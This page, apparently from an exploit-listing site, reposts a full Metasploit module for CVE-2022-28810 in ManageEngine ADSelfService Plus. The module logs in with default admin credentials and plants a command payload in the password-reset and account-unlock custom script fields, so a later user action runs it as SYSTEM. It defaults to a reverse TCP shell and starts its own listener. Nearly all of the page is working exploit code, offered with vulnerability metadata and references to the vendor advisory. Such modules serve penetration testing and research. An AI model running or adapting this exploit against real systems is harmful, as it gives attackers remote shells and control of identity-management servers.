Advertisement






ManageEngine ADSelfService Plus Custom Script Execution

CVE Category Price Severity
CVE-2022-28810 CWE-99 $5000 Critical
Author Risk Exploitation Type Date
Unknown Critical Remote 2022-04-23
CPE
cpe:cpe:/a:manageengine:adselfservice_plus
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022040088

Below is a copy:

ManageEngine ADSelfService Plus Custom Script Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine ADSelfService Plus Custom Script Execution',
        'Description' => %q{
          This module exploits the "custom script" feature of ADSelfService Plus. The
          feature was removed in build 6122 as part of the patch for CVE-2022-28810.
          For purposes of this module, a "custom script" is arbitrary operating system
          command execution.

          This module uses an attacker provided "admin" account to insert the malicious
          payload into the custom script fields. When a user resets their password or
          unlocks their account, the payload in the custom script will be executed.
          The payload will be executed as SYSTEM if ADSelfService Plus is installed as
          a service, which we believe is the normal operational behavior.

          This is a passive module because user interaction is required to trigger the
          payload. This module also does not automatically remove the malicious code from
          the remote target. Use the "TARGET_RESET" operation to remove the malicious
          custom script when you are done.

          ADSelfService Plus uses default credentials of "admin":"admin"
        },
        'Author' => [
          # Discovered and exploited by unknown threat actors
          'Jake Baines', # Analysis, CVE credit, and Metasploit module
          'Hernan Diaz', # Analysis and CVE credit
          'Andrew Iwamaye', # Analysis and CVE credit
          'Dan Kelley' # Analysis and CVE credit
        ],
        'References' => [
          ['CVE', '2022-28810'],
          ['URL', 'https://www.manageengine.com/products/self-service-password/kb/cve-2022-28810.html'],
          ['URL', 'https://www.rapid7.com/blog/post/2022/04/14/cve-2022-28810-manageengine-adselfservice-plus-authenticated-command-execution-fixed/']
        ],
        'DisclosureDate' => '2022-04-09',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'Privileged' => true, # false if ADSelfService Plus is not run as a service
        'Stance' => Msf::Exploit::Stance::Passive,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/jjs_reverse_tcp'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8888,
          'DisablePayloadHandler' => true,
          'JJS_PATH' => '..\\jre\\bin\\jjs.exe'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/']),
      OptString.new('USERNAME', [true, 'The administrator username', 'admin']),
      OptString.new('PASSWORD', [true, 'The administrator user\'s password', 'admin']),
      OptBool.new('TARGET_RESET', [true, 'On the target, disables custom scripts and clears custom script field', false])
    ])
  end

  ##
  # Because this is an authenticated vulnerability, we will rely on a version string
  # for the check function. We can extract the version (or build) from selfservice/index.html.
  ##
  def check
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/selfservice/index.html'))
    unless res
      return CheckCode::Unknown('The target failed to respond to check.')
    end

    unless res.code == 200
      return CheckCode::Safe('Failed to retrieve /selfservice/index.html')
    end

    ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id]
    if ver.nil?
      return CheckCode::Safe('Could not extract a version number')
    end

    if Rex::Version.new(ver) < Rex::Version.new('6122')
      return CheckCode::Appears("This determination is based on the version string: #{ver}.")
    end

    CheckCode::Safe("This determination is based on the version string: #{ver}.")
  end

  ##
  # Authenticate with the remote target. Login requires four steps:
  #
  # 1. Grab a CSRF token
  # 2. Post credentials to /ServletAPI/accounts/login
  # 3. Post credentials to /j_security_check
  # 4. Grab another CSRF token for authenticated requests
  #
  # @return a new CSRF token to use with authenticated requests
  ##
  def authenticate
    # grab a CSRF token from the index
    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })
    fail_with(Failure::Unreachable, 'The target did not respond') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty?
    csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token]
    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok

    # send the first login request to get the ssp token
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/ServletAPI/accounts/login'),
      'keep_cookies' => true,
      'vars_post' =>
      {
        'loginName' => datastore['USERNAME'],
        'domainName' => 'ADSelfService Plus Authentication',
        'j_username' => datastore['USERNAME'],
        'j_password' => datastore['PASSWORD'],
        'AUTHRULE_NAME' => 'ADAuthenticator',
        'adscsrf' => csrf_tok
      }
    })
    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200

    # send the second login request to get the sso token
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/j_security_check'),
      'keep_cookies' => true,
      'vars_post' =>
      {
        'loginName' => datastore['USERNAME'],
        'domainName' => 'ADSelfService Plus Authentication',
        'j_username' => datastore['USERNAME'],
        'j_password' => datastore['PASSWORD'],
        'AUTHRULE_NAME' => 'ADAuthenticator',
        'adscsrf' => csrf_tok
      }
    })
    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302

    # revisit authorization.do to complete authentication
    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })
    fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?
    csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token]
    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok

    print_good('Authentication successful')
    csrf_tok
  end

  ##
  # Triggering the payload requires user interaction. Using the default payload
  # handler will cause this module to exit after planting the payload, so the
  # module will spawn it's own handler so that it doesn't exit until a shell
  # has been received/handled. Note that this module is passive so it should
  # just be chilling quietly in the background.
  #
  # This code is largely copy/paste from windows/local/persistence.rb
  ##
  def create_multihandler(lhost, lport, payload_name)
    pay = framework.payloads.create(payload_name)
    pay.datastore['LHOST'] = lhost
    pay.datastore['LPORT'] = lport
    print_status('Starting exploit/multi/handler')

    # Set options for module
    mh = framework.exploits.create('multi/handler')
    mh.share_datastore(pay.datastore)
    mh.datastore['PAYLOAD'] = payload_name
    mh.datastore['EXITFUNC'] = 'thread'
    mh.datastore['ExitOnSession'] = true
    # Validate module options
    mh.options.validate(mh.datastore)
    # Execute showing output
    mh.exploit_simple(
      'Payload' => mh.datastore['PAYLOAD'],
      'LocalInput' => user_input,
      'LocalOutput' => user_output,
      'RunAsJob' => true
    )

    # Check to make sure that the handler is actually valid
    # If another process has the port open, then the handler will fail
    # but it takes a few seconds to do so.  The module needs to give
    # the handler time to fail or the resulting connections from the
    # target could end up on on a different handler with the wrong payload
    # or dropped entirely.
    Rex.sleep(5)
    return nil if framework.jobs[mh.job_id.to_s].nil?

    return mh.job_id.to_s
  end

  # The json policy blob that ADSSP provides us is not accepted by ADSSP
  # if we try to POST it back. Specifically, ADSP is very unhappy about all
  # the booleans using "true" or "false" instead of "1" or "0" *except* for
  # HIDE_CAPTCHA_RPUA which has to remain a boolean. Sounds unbelievable, but
  # here we are.
  def fix_adssp_json(json_hash)
    json_hash.map do |key, value|
      if value.is_a? Hash
        [key, fix_adssp_json(value)]
      elsif value.is_a? Array
        value = value.map do |array_val|
          if array_val.is_a? Hash
            array_val = fix_adssp_json(array_val)
          end
          array_val
        end
        [key, value]
      elsif key == 'HIDE_CAPTCHA_RPUA'
        [key, value]
      elsif value.is_a? TrueClass
        [key, 1]
      elsif value.is_a? FalseClass
        [key, 0]
      else
        [key, value]
      end
    end.to_h
  end

  def exploit
    csrf_tok = authenticate

    # Grab the list of configured policies
    policy_list_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails')
    print_status("Requesting policy list from #{policy_list_uri}")
    res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })
    fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200
    policy_json = res.get_json_document
    fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?
    policy_details_json = policy_json['POLICY_DETAILS']
    fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil?

    # There can be multiple policies. This logic will loop over each one, grab the configuration
    # details, update the configuration to include our payload, and then POST it back.
    policy_details_json.each do |policy_entry|
      policy_id = policy_entry['POLICY_ID']
      policy_name = policy_entry['POLICY_NAME']
      fail_with(Failure::UnexpectedReply, 'Policy details missing name or id') if policy_id.nil? || policy_name.nil?

      print_status("Requesting policy details for #{policy_name}")
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getAPCDetails'),
        'vars_get' =>
        {
          'POLICY_ID' => policy_id
        }
      })
      fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200

      # load the JSON and insert (or remove) our payload
      specific_policy_json = res.get_json_document
      fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?
      fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil?
      new_payload = "cmd.exe /c #{payload.encoded}"

      if datastore['TARGET_RESET']
        print_status('Disabling custom script functionality')
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '0'
        specific_policy_json['SCRIPT_COMMAND_RESET'] = ''
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '0'
        specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = ''
      else
        print_status('Enabling custom scripts and inserting the payload')
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '1'
        specific_policy_json['SCRIPT_COMMAND_RESET'] = new_payload
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '1'
        specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = new_payload
      end

      # fix up the ADSSP provided json so ADSSP will accept it o.O
      updated_policy = fix_adssp_json(specific_policy_json).to_json

      policy_update_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/setAPCDetails')
      print_status("Posting updated policy configuration to #{policy_update_uri}")
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => policy_update_uri,
        'vars_post' =>
        {
          'APC_SETTINGS_DETAILS' => updated_policy,
          'POLICY_NAME' => policy_name,
          'adscsrf' => csrf_tok
        }
      })
      fail_with(Failure::UnexpectedReply, 'Policy update request failed') unless res.code == 200

      # spawn our own payload handler?
      if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler']
        listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
        if listener_job_id.blank?
          print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
        end
      else
        print_good('Done!')
      end
    end
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum